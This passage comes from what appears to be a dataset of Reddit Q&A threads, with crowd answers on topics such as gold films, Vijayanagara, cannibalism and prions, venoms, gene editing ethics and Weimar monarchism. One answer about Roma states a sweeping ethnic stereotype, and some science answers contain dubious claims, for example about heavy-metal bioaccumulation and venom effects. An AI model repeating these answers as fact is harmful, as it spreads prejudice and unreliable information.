(nm, or 10^-9 meters) gold film is still reasonably transparent if you were to look through it.   It would be almost completely reflective around 50 nm or so.  A gold atom is 135 Picometers (10^-12 ), so a 10 nm film is about 80 atoms thick.\n\n**TL:DR, It depends on what you call transparent, but you will be able to see through a gold film quite easily until at least 50-100 atoms worth.**\n\nSource:  I have a PhD in Physics specializing in organic photovoltaics.  Although I haven't studied the physics of thin metallic films extensively, I have lots of practical experience with them.", "There is a gold coating on the visor of [NASA space suits]\n(_URL_0_). I'm unsure of the thickness but it is transparent.", "transparent -- light is 4000-7000 angstroms in wavelength, a gold atom is only ~1.4 angstroms.  It would take at least a few hundred gold atoms to be big enough interact with light. ", "You can see through it, I used to coat gold onto substrates using CVD back when I worked on flexible and rigid OLED displays many years ago and it takes quite a few angstroms before you can actually start to see the gold and like other posters have said, it's transparent blue before it 'looks like gold'.  Fun fact: back when I worked on OLEDs when I was still a student many moons ago, the OLED polymers actually cost more per gram than the super high purity gold, a LOT more; one bottle that was about 6-7 grams of a blue, super pure OLED was $22k.\n\nI also do sputter coating for some SEM work I do and it takes a while there too before you can start to actually see the gold being deposited, but the thickness isn't as well controlled there and my targets aren't transparent so I can't really see through it like I could with the gold coated on films and glass."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.slideshare.net/lwolberg/unique-properties-at-the-nanoscale"], [], ["http://en.wikipedia.org/wiki/Lycurgus_Cup"], [], [], [], [], [], ["http://www.nasa.gov/audience/foreducators/spacesuits/home/clickable_suit_nf.html"], [], []]}
{"q_id": "3xrc02", "title": "why does fan fiction generally seem/feel \"cringy\" to most people?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xrc02/eli5_why_does_fan_fiction_generally_seemfeel/", "answers": {"a_id": ["cy7368k", "cy73pd0", "cy73x3n"], "score": [4, 4, 2], "text": ["Fan fiction can be good or bad, however, since there is no external editing or filter to prevent anyone to write fan fiction, there is a lot of really bad fan fiction out there.", "It's [Sturgeon's Law](_URL_0_) \"ninety percent of everything is crap.\"  Publishers read all the stuff that's out there and print  < 5%.  Hopefully that means that there is a lower percentage of bad stuff, because they know how to pick good stuff.  Fan fiction doesn't have this filter, and so you see the 90% that Ted predicted.", "* it is typically of poor quality\n* it usually lacks the understanding of the characters, settings, and plots the original author had, and moves the story in unrealistic directions\n* it is often self indulgent, introducing themes not present in the original works, particularly sexual ones inappropriate to the story or characters\n* the fanfic community often has a dysfunctional feedback system when it comes to literary criticism...saying a piece of Harry Potter fanfic sucks is seen the same as saying Harry Potter sucks, so no one every gets the constructive criticism they need to get better\n* many authors turn to fanfic because they are too lazy or lack the creativity to right their own stuff...these qualities do not make for good fanfic, either\n\nThey do not do well on the [Geek Hierarchy](_URL_0_), either."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Sturgeon%27s_law"], ["http://brunching.com/images/geekchartbig.gif"]]}
{"q_id": "3fbfd6", "title": "The Islamic period of India gets portrayed as a dark age for Hindus. Was it?", "selftext": "Whenever I read any history of India that talks about the medieval period, it focuses on the Islamic occupation and conquest. Every other time period gets descriptions of philosophical, artistic and religious developments, but the time between Delhi and the Marathas just seems to get glossed over.  (Admittedly, this is only based on two history books and a couple of online websites)  What kind of interesting developments were happening for Hindus and Jains living under Muslim rule? What about the ones who remained independent?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3fbfd6/the_islamic_period_of_india_gets_portrayed_as_a/", "answers": {"a_id": ["ctoc4w0"], "score": [5], "text": ["Great question! Of course this is a huge time-span, covering the Delhi- and Bahmani-Sultanates, and possibly some of the smaller Islamic states that followed. As far as I know, similar to Muslim rulers in other regions, in the Sultanates there were religious liberties (usually connected to special taxes payed by non-Muslims), and local elites from various religious groups were integrated into the administration, providing much-needed support to the foreign rulers. Furthermore, Mughal rulers like Akbar (probably outside the time-frame you're asking about) are known for the atmosphere of cultural freedom at their courts, with Akbar ordering a translation of the Koran in Persian and sponsoring magnificient books produced by Persian, Muslim and Hindu artists.\nThere was not only tolerant action, and mass-conversions and mistreatment of other religious groups were noted, but these are usually described as exceptions. Because of the large time-span and territory I'll try and narrow it down to an example I know a bit about more, concerning the second part of your question about independent kingdoms.\n\nThe **Vijayanagara-empire** developed into the largest historical realm of South India and existed in varying forms from the mid-14th to the mid-17th century. It came to existence following the drawing back of the Delhi-sultanate from South India and the demise of earlier states in the Deccan. The empire was ruled successively by four dynasties: The Sangama (~1350-1486), Saluva (~1486-1505), Tuluva (1505-1569) und Aravidu (~1569-1654)-dynasties. Its huge expansion was made possible through a strong military, focusing on a cavallery that was connected to the employment of Muslim mercenaries. With the third dynasty, the Tuluvas, and especially under Krishnadeva Raya the state reached its political and cultural high-point, with administrative reforms, temple buildings, and patronage of poets and scholars alike. Krishnadeva triumphed over the troops of the sultanates of Central India, whose sultans he then reinstated. However, under following rulers Vijayanagara lost power, and after the battle of Talikota in 1565 the capital was looted. Over the following 100 years the Aravidus ruled successively from three different capitals over ever-diminishing territories.\n\nLooking more specifically at *religious aspects*, one of the rulers' titles, \u201cSultan among Hindu-kings\u201d for Bukka I., already shows that Vijayanagara was part of a South-Indian political landscape strongly tied to Islamic political traditions. The systematic religious politics of the kings can also be seen as an influence on their success. Thereby, individuals could take part in different spiritual communities at the same time, and there was no royal control of religious authorities. As the population prayed to a diverse array of deities, e.g. local gods, natural sites, as well as shrines of Muslims and Jains, various very different shrines and temples were built in the realm. Furthermore, elements of South-Indian architecture were mixed with Indo-Islamic traditions. This style was confined to public and royal buildings in the capitals, in connection to their representative function regarding Muslim envoys. Images of all main deities from different parts of the empire were also integrated for worship into temples of the capital.\n\nIn accordance with the 'realpolitik' situation, whereby the realm was surrounded by various powerful Islamic states, one can notice Vijayanagara's adaption to Islamic culture, changing its Hinduistic customs in the process. Another influence was manifest in the trade with Muslim states via the Indian Ocean. A more concrete and fascinating form of this inter-religous contact, next to architecture, rulers' titles, military techniques and administration was the clothing at court \u2013 royal clothes and textiles represented royal authority. Both central pieces of clothing at court were derived from Islamic styles: A cone-shaped cap, *kullayi*, came from the Persian *kulah* that goes back at least to the 15th century. A long robe, the *kabayi*, was connected to the Arabic *qaba*, common in Arabic regions already in the 7th century. Both items stood in radical contrast to traditional Indian court styles, where men usually wore no upper garments or simply put on a scarf. We can see here how nobles of the court adapted to customs in accordance with Islamic norms by wearing upper-body clothing. In addition, royal clothes were ritually passed on to foreign diginitaries and lower nobles. This ritual goes back to ceremonies at the courts of North Indian Islamic states and was not in use in South India before Vijayanagara. These gifts were political acts, showcasing the legitimacy of the giver and the dependance and prestige of the receiver. In this way, court rituals were made understandable in the political *lingua franca* of the Islamic world, as to be accepted by Islamic rulers.\n\nTo sum up, one can see in the different forms of adaptation and acculturation a deliberate act from Vijayanagara's court elite and rulers, directly connected to changes in the political culture at court, and in the political situation of South India. Hope this helps! I'll add some literature soon when I have better access.\n\n**Sources**: For a good overview on Vijayanagara see *Rao, Nalini, Royal Imagery and Networks of Power at Vijayanagara \u2013 a Study of Kingship in South India, Delhi 2010.*  \nMore focused on the political situation and religious identity there: *Sinopoli, C. M.: ''From the Lion Throne'', JESHO Vol. 43, 2000, p. 364-398.* (if you have [jstor](_URL_1_) access)  \nA detailed look at court ceremonies, clothing and art is *Wagoner, Philip B.: ''\u00b4Sultan Among Hindu Kings\u00b4: Dress, Titles and the Islamicization of Hindu culture at Vijayanagara'', in: The Journal of Asian Studies 55/4, 1996, p. 851-880.* ([again](_URL_0_) on jstor)\n\nEdit: Added literature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jstor.org/stable/2646526?seq=1#page_scan_tab_contents", "http://www.jstor.org/stable/3632447?seq=1#page_scan_tab_contents"]]}
{"q_id": "48q18t", "title": "If I had a rope on earth and someone was at the sun with the other side of the rope then one person tugged on one side, would the other instantly feel it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/48q18t/if_i_had_a_rope_on_earth_and_someone_was_at_the/", "answers": {"a_id": ["d0llbpy", "d0llluh", "d0lo6ap", "d0lqadn", "d0lr6iq"], "score": [1620, 9, 105, 2, 63], "text": ["No, the tug would travel at the speed of sound over the rope and that is assuming no energy losses duo to friction.", "I'm no expert, but as far as my grasp of physics goes, you would not. This is because each piece of the rope must move slightly before the next tiny piece is affected. \n\n\nI'm going to change your analogy slightly to get the concept across. Imagine, instead of a rope, you had a big tube filled with water. As you know, if you use a piston, you can push the water back and forth. If you push the water, it will compress slightly just in front of the pistonhead, then that layer of water will push on the next, and then that the next, *ad nauseum*, until it finally reaches the other end. Now, lets take the smallest possible movement, a shockwave, you might interpret it as sound, in the water. Imagine the same process I just described, but with a very small movement, this sound. It will take time to reach you, in fact, it would take about 76 years, and that's from the surface of the sun. Essentially, the material can only compress it's neighbour so quickly, the top speed of which is the \"speed of sound\" of the material.\n\n\n So, despite taking some liberties with your question and doing some hand-wavey science, the answer to your question is a very solid \"no\".", "This is a very commonly asked question, which is answered in the FAQ.\n\n_URL_0_", "The other question with this I was always curious about, is what if I had a pole and started spinning in circles near the speed of light, would the end of the pole spin faster than the speed of light (obviously it will be no)? Or would the pole suddenly become like a wet noodle?", "No. Let's leave aside the elasticity of rope for a moment. Even if you had a solid steel rod connecting the two points, the physical impulse can travel through the medium at (essentially) the speed of sound in that medium *at most.* \n\nSo assuming ~5.9 km/s as the speed of sound in steel, you could expect the pull to be felt on the Sun ~294 days later. If you insist on a very elastic thing like rope, then it is entirely possible the pull would be completely absorbed by the rope, and never get there at all.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/askscience/wiki/physics/rod_speedoflight"], [], []]}
{"q_id": "214sh0", "title": "how does my brain work?", "selftext": "I understand more or less what the different parts are for, but cannot for the life of me wrap my head around the way neural pathways are made and lost, how synapses and neurotransmitters work, and what makes them work that way.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/214sh0/eli5_how_does_my_brain_work/", "answers": {"a_id": ["cg9mbaj"], "score": [2], "text": ["Take biology 101 and 102 at a community college. Or many free options online. Not trying to be glib. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1jvqsc", "title": "why are ncaa athletes prohibited from selling their autographs - or even from things like borrowing a friend's car??", "selftext": "I get why the NCAA is so restrictive - I think it goes overboard with some things - but by and large it makes sense why athletes can't accept anything from coaches or boosters. But why can't they sell their own autograph? And why on earth can an athlete be suspended for things like [borrowing a friend's car???](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1jvqsc/eli5_why_are_ncaa_athletes_prohibited_from/", "answers": {"a_id": ["cbir2cy"], "score": [4], "text": ["Selling your autograph to a booster for an inflated price is the same thing as accepting something from boosters. If they can sell autographs you know the boosters are going to start paying big for them just to keep the recruits coming and keeping kids from going to the NFL early. Once you allow a NCAA athlete to make money it's easy to funnel money to them.\n\nAs to borrowing the car. They're being very vague about it but it sounds like it was more than simply the typical borrow a car for a day. He probably \"borrowed\" the car for a while. Imagine if this was allowed. Then the boosters would make sure every recruit learns they can \"borrow\" a Porsche while they are playing. "]}, "title_urls": [], "selftext_urls": ["http://www.cbssports.com/collegefootball/story/10326924"], "answers_urls": [[]]}
{"q_id": "12pyt3", "title": "flow charts and how they work in programming", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/12pyt3/flow_charts_and_how_they_work_in_programming/", "answers": {"a_id": ["c6x6fr6", "c6x6fz4", "c6x6mtv"], "score": [4, 9, 3], "text": ["Could you be a little more specific?", "This is a particularly complex topic and it's further complicated because I don't know and cannot make any assumptions about how much you know nor how much you want to know.\n\nHowever, the simplest answer I can give you is that in programming, at a very high level, you're basically telling the computer what to do right?  Well, at times, you may need to tell the computer what it needs to do in a decision situation.  So you write some logic: if A is true, then do B.  If A is false, do C.  What a flow chart does is help you represent those decision steps.  In other words, a program will follow a set of instructions until it gets to a point where it must evaluate something and then do something based on the result.  When you diagram that with a flow chart, it lets a human more easily understand the logic that the program is following.  \n\nLets say you have a problem -- you cannot find your dog.  Now you may not need to make a flow chart for this problem, but lets walk through part of one for a moment.  Ok, you don't know where your dog is.  Step 1) Search the whole house. Decision 1) Did you find your dog?  1a) No, search the yard outside. 1b) Yes, dog found.  Ok, lets say Decision 1 is \"no\" you didn't find your dog inside.  So you go to step 1a, you search your yard.  Decision 2) Did you find your dog outside? Step 2a) No, search the neighborhood.  2b) Yes, dog found.  Etc. etc.\n\nSo you see, we people make these kinds of decisions all the time and so most of us think little of it -- heck, we can think in so complex ways that we naturally understand that we may have to look everywhere: inside, outside, the neighborhood, etc. However, if you imagine trying to tell a computer to do these things, you have to tell it what to do one step at a time.  Modern computers are really fast but they still essentially interpret your commands one at a time.  Now we don't always think like a computer, so things like flow charts help us understand our programs better for several reasons: it's a simple representation of computer logic, it has easily recognizable symbols and puts commands into better context, last it helps with mental visualization of what the computer is doing at each step.", "A flow chart is a visual representation of a series of logical choices.  Some people find them helpful at understanding  &  visualizing the way a program flows.  They were once far more popular than they are now - back in the 70s  &  early 80s, [flowchart templates](_URL_1_) were common.  These days, anyone suggesting that flowcharting is an essential part of learning programming is probably pretty old.\n\nI suspect that part of the reason flowcharts have fallen out of favor is that software development tools are far better than they used to be.  In the early days of computing, programs were written on [punch cards](_URL_0_) that would hold 1 or 2 lines of code.  When you wanted to run your program, you'd take a deck of cards to the computer room  &  give them to the computer operator.  You might wait several hours for your program's turn to come up  &  you'd get the output in the morning.  If there were bugs, you'd have to dig through a stack of cards, fix it  &  repeat the process.  Clearly, you wanted to work out as much of your program on paper ahead of time as possible so you'd have the best chances of getting it right the first time .  Flowcharts are a nice 'shorthand' way of representing program logic.\n\nThese days, you can see whole pages of a program on the screen at a time, easily edit/move any line without any problems and (with many languages) the compile/test cycle is measured in seconds rather than hours so it's simpler to just try writing your program  &  figuring things out as you go."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Punched_card", "http://en.wikipedia.org/wiki/File:Flowchart-template.jpg"]]}
{"q_id": "1pa3m0", "title": "why can't we eat other people?", "selftext": "I get the moral implications, but I've heard that if you eat human flesh you can get very ill, even though we're all made of the same stuff. How does that work?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1pa3m0/eli5_why_cant_we_eat_other_people/", "answers": {"a_id": ["cd09mzh", "cd09q4f", "cd09sa7", "cd0cg10", "cd0fig9"], "score": [13, 21, 2, 3, 10], "text": ["Not sure about your premise. Steven Vogel has a chapter on cannibalism in his book *Prime Mover* and reports that humans are just fine to eat (apparently, we taste like pork only sweeter). Perhaps the illness you're thinking of is due to moral revulsion, conditions under which cannibalism has occurred (plane crash, etc) and/or a poor choice of wine.", "Any pathogen (whether viral, bacterial, protozoan, prion, or whatever) in your meal is going to be something that's already perfectly adapted to living in human beings. This isn't really the case with, say, fish.  That's the main problem.  Your risk isn't terribly high, but somewhat higher than it would be eating something else. ", "Human flesh won't make you more ill. We can eat other people, it's just the morals holding us back. I would advise against eating the brain though.", "People have heard a lot of horror stories about very specific instances where eating human flesh has caused the transmission of weird diseases. Prion diseases as a whole are pretty terrifying things (They are a kind of scary, incurable brain diseases including mad cow disease and fatal familial insomnia) and there is one called kuru that is transmitted by cannibalism. It can have an incubation time of 5 to 20 years, and then someday you develop headaches and tremors. You start slurring your words, then have trouble walking unassisted. You're emotionally unstable, depressed, and yet you have bouts of uncontrollable laughter. Eventually you lose all control over your muscles, have trouble swallowing on your own, you can't speak. Then you develop sores all over your body and die. \n\nFrom eating brains.\n\nFatal familial insomnia is pretty cool too. Check it out.", "I've heard two main arguments:\n\n* [Kuru Disease:](_URL_0_ A prion (same as mad cow disease) that was thought to have spread through cannibalistic practices in Papua New Guinean tribes. A prion is a 'malformed protein' that in this case is strongly resistant to denaturing (i.e. the heat from cooking) and thus spread relatively easily. Whilst this sort of thing may be confined to only a small area, the implication is that someone carrying the more common Creutzfeldt-Jakob disease could be consumed whilst symptoms weren't present/early and thus cause the spread.\n\nWhilst most pathogens die when exposed to temperatures greater than 90 degrees celcius, prions and protozoan/parasitic cysts can stick around and become active when consumed by another individual. Though this doesn't excuse the fact that even when properly cooked, the pathogen most likely remains, merely in a weakened form of far smaller numbers - meaning a decreased risk of infection. That's why whenever there's a bird flu outbreak farmers bury all the chickens - their meat is tainted and no amount of cooking can fully remove the pathogen.\n\n\n\n* A second reason I've heard (though I'm less sure about in practice) is that humans are the ultimate [bio accumulators.](_URL_1_) Being apex predators, we consume predators such as shark (fish and chips). That shark has eaten many tonnes of fish, which in turn ate a lot of algae. \nNow, heavy metals such as mercury never leave a biological system once they enter - they *bio-magnify.* So, that algae may have had a small concentration of mercury, but that fish ate a lot of algae, so it ends up with a ten fold increase in it's mercury levels. That fish, along with a thousand others, is eaten by a shark, whose mercury levels then increase maybe a hundred fold. We then eat the shark, along with other meats, and over our life our levels go up exponentially to the point that out of all organisms in the natural world, we have the highest heavy metal concentrations in our flesh.\n\nSo, imagine a sustained lifestyle of cannibalism of the dead/criminals along with that of animal meats - again in reference to some old PNG tribes. The person being consumed has accumulated a lot of toxins in his life, but can handle the overall concentration. But those who then eat him increase their own toxin levels to extreme concentrations, and subsequently get heavy metal poisoning. That's why we shouldn't eat other apex predators such as our fellow man.\n\n\n**tl;dr** Two reasons. Transmissible diseases resistant to cooking techniques and the bioaccumulation of toxins through the consumption of other apex predators."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Kuru_(disease)", "http://www.gulfofmaine.org/images/gulfwatch/biomagnification.jpg"]]}
{"q_id": "59pop8", "title": "what are the effects of venoms and antivenoms on blood?", "selftext": "For example I've seen that blood can coagulate. In that case what would be the effect of the antivenom? To de-coagulate?\n\nWhat are some other effects of venoms and the respective antivenoms?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/59pop8/eli5_what_are_the_effects_of_venoms_and/", "answers": {"a_id": ["d9aejt0"], "score": [12], "text": ["It depends on the venom at hand. Let me give two examples:\n\n1) Snakes (particularly Rattlesnakes) \u2013 their venom acts as a neurotoxin. In other words, it inhibits neural signals from being completed for voluntary and involuntary muscles. That is why one of the biggest signs that you are undergoing a neurotoxic attack is creeping numbness, difficulty breathing, and paralysis. These all happen because the venomous components (molecules) interfere with signaling molecules in your neural synapses and it causes muscles (limbs, lungs, heart, etc.) to just stop responding to your brain's signals.\n\n2) Brown Recluse spider\u2013 Now in these guys, the venom acts differently because instead of blocking muscular function, it flat-out begins killing cells near or associated with the bite region. The flesh decomposes really badly (which can lead to septic shock down the line) in a process known as necrosis. This varies in action from direct lysis of your tissue cells to something like inhibiting gaseous (O2 < - > CO2) exchange. \n\nIt really depends on the venom you are looking at. Each venomous bite has a different cocktail of chemicals that elicit different reactions from species to species.\n\nAs for antivenoms, they can behave just like you said. Their main modes of action is to either reverse the chemical reactions going on or to \"out compete\" the binding of venom with important molecules. An example with a synthetic \"venom\" - Sarin Gas. Sarin binds to a signal molecule and it locks the muscle by blocking these signals. Something like Pralidoxime is then used to bind to the signal instead of Sarin and it thus knocks off the blocking agent and allows the signal molecule to be recycled.\n\nEdit: Added the antivenom bit and finished an incomplete thought.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aw87f6", "title": "why is a genetical improvement of human babies considered unethical?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aw87f6/eli5_why_is_a_genetical_improvement_of_human/", "answers": {"a_id": ["ehklspa", "ehkm45v", "ehkm4na", "ehkm5m2", "ehkma35", "ehkmsnu", "ehkn9ep"], "score": [3, 7, 2, 3, 2, 2, 2], "text": ["As of right now it would be considered experimenting on humans. That\u2019s the only unethical part I can think of ", "The genetic editing of babies is generally seen as unethical because right now we don't really know that alterations are going to be improvements. You might try to make someone be a better runner for example and actually end up growing a baby with only 20% of normal lung function. Or maybe try to make a baby with a better immune system and what you get is a baby who's skin keeps falling off on its own.", "Because since the technology will start off being expensive, it will deepen the divide in health among the lower class, and those of upper classes. This may change over time, or it may forever be a costly technology.", "Tampering with children puts them at unexpected risk and the consequences could be much greater than anticipated.  Basically, it's a huge risk and it could go very, Very badly if we mess with something we do not fully understand.", "In theory you could engineer someone to be \"Superior\" to other people. Think the Nazis thinking that blonde hair and blue eyes were superior, essentially isolating a huge portion of the rest of society.\n\nPeople get funny when they think they or someone they love might be discriminated against.", "To me it depends on two things. Firstly it still has a way to go before it'll be safe to use on humans. But even as we get closer to that threshold, the long-term ramifications are completely unknown. How will this affect the gene pool long-term? Will the genes we edit affect other gene expression? Loads of questions still to be answered.\n\nThe second factor is availability. Will only the super rich be afforded this procedure? If we limit availability based on that, will we inadvertently split the human race into the regulars and the superhumans?\n\nWe already see massive social division today based on inequality, whether by wealth or ability. Do we really want to accelerate that?", "The biggest issue is that you\u2019re effectively doing an experiment on a human subject who cannot consent. While you could argue that a fetus isn\u2019t a person, the point of genetic modification is that the fetus will eventually become a person. \n\nOther issues include the fact that what constitutes \u201cimprovement\u201d is highly subjective, the possibility of unintended consequences, and the potential for abuse (e.g. creating a slave species from human genetic material). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "83xtxb", "title": "How likely was a Kaiserreich revival during the interwar period?", "selftext": "In the latest HOI4 DLC, you can oppose Hitler and start a civil war against the Nazis, led by von Mackensen and his silly bad guy hat in 1936. Once he wins, you get to invite Willy 2 or 3 back into power (with a super silly secret option to get Kaiserin Victoria and the HRE reformed).\n\nHow likely was this to happen in the period of 1919-1939? As in, how likely was a military coup, why didn't it happen, and if it did, what was the likelihood of the Kaiser returning to power?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/83xtxb/how_likely_was_a_kaiserreich_revival_during_the/", "answers": {"a_id": ["dvmodfo"], "score": [2], "text": ["These two related answers of mine on the [DNVP](_URL_1_) and the [Reichswehr](_URL_0_). \n\nThe long and the short of it is that it appears that HOI4 has taken the declaration of monarchism by German conservatives at face value. To be a monarchist in Weimar Germany was not really about restoring the Hohenzollerns. It was rather a set of ideas that rejected the Republic and its basic legitimacy. These conservatives contended that the November Revolution was fundamentally a coup by various anti-German forces (Jews, communists, socialists, etc.) and their enablers in what became the Weimar political establishment. Monarchism was much more involved with delegitimatizing the Republic and its institutions than creating a new *Kaiserreich*. The Hohenzollerns often gnashed their teeth in exile that for all the various declarations of support for monarchy among the German right, there was very little in the way of concrete measures to bring back the monarchy. Weimar's monarchists invested more time and ink in bringing back the old imperial flag than they did the imperial house. And it needs to be stressed that von Hindenburg soon filled in the role of \"monarch\" for most of Germany's monarchists. \n\nAs for a military coup, the Reichswehr/Wehrmacht was never institutionally strong enough or confident enough to seize power for itself. There were half-baked plans to dispose of Hitler had the post-Poland war went south in 1940, but there was nothing truly concrete in place. The same pattern was in place in 1938 when the were whispers in the upper echelons of replacing Hitler with a military dictatorship if his adventurism in Czechoslovakia failed. Obviously, 1938 and 1940 led to triumphs for Hitler, so these plans went nowhere. \n\nThese failed starts underscore an important aspect of the politics of the interwar German military. While there were some principled officers and a number of the nationalist-conservative elite disgusted with the NSDAP's politics, much of the armed forces were much in sync with Hitler's agenda. It is notable that the most concrete evidence for a military coup prewar was during September 1938 when it appeared Hitler was going to initiate a broader European war that Germany's armed forces were not prepared to fight. Likewise, the 1939/40 conspiracies, however half-baked, were predicated on the notion that the campaign in the West had failed. It was not Hitler's agenda that frightened the armed forces' leadership, but rather the idea he would lose. \n\nThis was one of the key problems of the national-conservative resistance to Hitler. When you stripped away some of the more genocidal aspects of Nazi geopolitics, there was much in common with these conservatives' view of Germany's place in European affairs and Hitler's *Weltanschauung*. The September 1938 conspiracy's contacts in London expected Germany to receive much of the same territorial concessions in Czechoslovakia as Hitler did and a broader revision of the Versailles Treaty. This was of a piece of the rest of the resistance against Hitler by elements of the German right. They never really pushed an agenda that was fundamentally different from the existing Nazi government. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/83rslv/how_intensely_monarchist_was_the_wehrmacht_during/", "https://www.reddit.com/r/AskHistorians/comments/81d37u/the_monarchist_dnvp_almost_won_the_1924_german/"]]}
{"q_id": "2d6jtj", "title": "Did the British and French know the Middle East they created would be unstable for hundred years?", "selftext": "The Middle East has not been peaceful since the end of WWI. I'm not saying the Middle East would be nirvana but it seems plausible the Middle East doesn't have to be this destabilized and it seems plausible the colonial legacy of the European powers is partly to blame. Could they for see this at the time? What constraints did they have that modern contemporaries need keep in mind.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2d6jtj/did_the_british_and_french_know_the_middle_east/", "answers": {"a_id": ["cjmp6ot"], "score": [2], "text": ["Unfortunately it's quite a difficult question. They certainly knew that they were potentially playing with fire. The mandate system they designed was intended to deal with the institutional shortcomings of the future nation-states they were trying to create. Key advisers like Gertrude Bell, T.E. Lawrence and others believed that these states would be incapable of immediate self rule. There was quite a lot of recognition about this from Arab peoples themselves as recorded in the private opinions of, for instance, Prince Faisal who was well aware that he needed British military support, and in the recorded opinions of Syrians in the King-Crane Commission who rejected French rule but called on the United States to fulfill an advisory role in the building of the country.\n\nSo in that sense, yes, they did know it would cause huge problems.\n\nOn the other hand they did not go about this process wantonly. In terms of constraints to keep in mind, particularly in Iraq, is that the borders and constituent pieces of Iraq were not chosen arbitrarily. The solution to the \"Mosul question,\" wherein Mosul province (including Iraqi Kurdistan) was given to the British Mandate of Iraq rather than its original allotment to France in Sykes Picot was designed to balance the Shia/Sunni split about 60-40, thereby making it possible for Feisal to rule, while simultaneously uniting the Arab population (regardless of sect) against Kurdish claims of independence (which began almost immediately with armed rebellion in the mountains essentially from the end World War I) and as a guarantor of continued British presence as it was believed that Feisal could not keep the revolt down without British military advisers and equipment.\n\nAnd crucially it seemed to work. Iraq was a \"model mandate\" and was the first of the mandates to receive independence in 1932.\n\nUnfortunately your question would require in depth knowledge of the histories of a couple dozen countries over the course of the late 19th and up to the middle of the 20th centuries, but its worth pointing out as well that much of your question relies on definitions of words like \"unstable\" that are difficult to quantify. The history of Egypt in the 20th century, for instance, is not a particularly \"unstable\" one, at least internally. The same could be said of Tunisia, the UAE (formerly the Trucial States) and some others.\n\nThere's also the huge issue in your question of assigning blame to European colonial powers for 20th century political developments they had little to do with, of particular importance today being the rise of political Islam in the early 20th century. That is, in and of itself, a profoundly difficult question, as the early history of, say, the Muslim Brotherhood, was integrally linked with anti-Colonialism, but as a group they didn't contribute to the political instability of the country until independence, particularly in the form of street-fighting in the 1930s and an attempt on Nasser's life that led to the movement being banned and its members imprisoned.\n\n**TL;DR** The question is a complicated one. They certainly knew that creating independent nations in the middle east would be extremely difficult. In countries like Iraq they thought they had come up with a workable solution. Given the range of your question however it's difficult to answer without narrowing it down. If you have any followup questions I'd be happy to try to answer.\n\nSource wise, D.K. Fieldhouse's *Western Imperialism in the Middle East 1914-1958* is excellent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "49oqze", "title": "why is it totaly socially unacceptable to use all ethnic and racial slurs but the word \"gypsy\" seems to be fair game?", "selftext": "Not sure if it's just that people aren't aware of the fact that it's a slur against the Roma or what but I know a lot of people who would never use any racial slur in daily life but seemly have no issue using \"Gypsy\" to refer to people.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49oqze/eli5why_is_it_totaly_socially_unacceptable_to_use/", "answers": {"a_id": ["d0thh5a", "d0tifpb", "d0tj502", "d0tjeig", "d0txv7k", "d0tzbe2", "d0u42d1"], "score": [20, 3, 8, 6, 2, 2, 2], "text": ["The more representation that group has in your life, the less likely you are to use an insulting slur to describe that group. There just aren't that many Romani people around the vast majority of people in our society to bring it to our attention.\n\nAlso, most people don't even know that \"gypsy\" is a slur. There are plenty of everyday sayings that people don't realize are quite derogatory. It's not a stretch to say that most people don't know the origins of any common adage or saying, regardless of whether or not they are offensive. ", "As a European, I can tell you that gypsies do not integrate into any community they live. Every country with a gypsy population has issues as part of their culture is to steal, live in communes, and move after trashing the area. This doesn't exactly cause anyone to worry about offending them with using a slur.", "Because not all gypsies themselves use the Roma designation. Portuguese gypsies do not, as well as several other groups. Roma is the most common in Eastern Europe.\n\nThis also holds because you do not always use the endonym to refer to a group. You do not call the dutch nederlanders in your day-to-day (I am assuming English is your first language, but if not you still get the idea), just like you don't call the Finnish suomalaiset. Gypsy is the current English exonym for them, and so you use it. is it offensive? More and more, yes, but the fact they they themselves do not offer a universal name for their group also makes it more difficult. Vast social, religious, and linguistic differences between them means they probably never will, as centuries of being apart in their specific countries means they may never have a united political organization. Unless they worldwide start accepting the Roma designation (which might happen, eventually, I dunno).", "In English, the word \"gypsy\" is generally not perceived as a slur. It is not intended with any malice, but acts as a neutral designation for the group of people. That may not be the case in other languages, but English is not those languages.\n\nDrives to be \"politically correct\" often lead to inaccurate designations. For example, there was once a strong campaign for using \"Native American\" rather than \"Indian,\" even though many Indian tribes use the latter term and in the United States it is a neutral term. Also think of the insistence on \"Inuit\" rather than \"Eskimo,\" which has led to the use of \"Inuit\" to describe Eskimo groups that are not Inuit at all.\n\nThe fact is that \"gypsy\" is *not* a slur. The origins of the word are not nearly as relevant as the actual usage, which is not derogatory.", "It all comes down to how the people who are \"Gypsy\" react and push back at it. In America Eskimo is still considered the term for the indigenous people of 